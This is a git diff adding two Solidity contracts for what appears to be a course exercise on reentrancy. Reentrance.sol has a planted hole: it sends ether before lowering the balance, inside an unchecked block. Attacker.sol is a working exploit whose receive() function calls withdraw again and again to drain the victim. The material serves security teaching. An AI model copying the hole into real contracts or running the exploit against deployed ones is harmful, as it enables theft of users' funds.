diff --git a/2022.2/JoaoMagalhaes/Reentrancy/Attacker.sol b/2022.2/JoaoMagalhaes/Reentrancy/Attacker.sol new file mode 100644 index 0000000..808fe5f --- /dev/null +++ b/2022.2/JoaoMagalhaes/Reentrancy/Attacker.sol @@ -0,0 +1,29 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "./Reentrance.sol"; + +contract Attacker { + Reentrance public victim; + + constructor(address victimAddress) { + victim = Reentrance(victimAddress); + } + + function attack() external payable { + require(msg.value >= 100 wei); + victim.donate{value: 100 wei}(address(this)); + victim.withdraw(100); + } + + receive() external payable { + if (address(victim).balance >= 100 wei) { + victim.withdraw(100); + } + } + + function getBalance() external view returns (uint) { + return address(this).balance; + } + +} \ No newline at end of file diff --git a/2022.2/JoaoMagalhaes/Reentrancy/Reentrance.sol b/2022.2/JoaoMagalhaes/Reentrancy/Reentrance.sol new file mode 100644 index 0000000..44c9c01 --- /dev/null +++ b/2022.2/JoaoMagalhaes/Reentrancy/Reentrance.sol @@ -0,0 +1,32 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +contract Reentrance { + + mapping(address => uint) public balances; + + constructor () payable {} + + function donate(address _to) public payable { + balances[_to] += msg.value; + } + + function balanceOf(address _who) public view returns (uint balance) { + return balances[_who]; + } + + function withdraw(uint _amount) public { + if(balances[msg.sender] >= _amount) { + (bool result,) = msg.sender.call{value:_amount}(""); + require(result, "Failed to send eth"); + unchecked { + balances[msg.sender] -= _amount; + } + } + } + + function getBalance() external view returns (uint) { + return address(this).balance; + } + +} \ No newline at end of file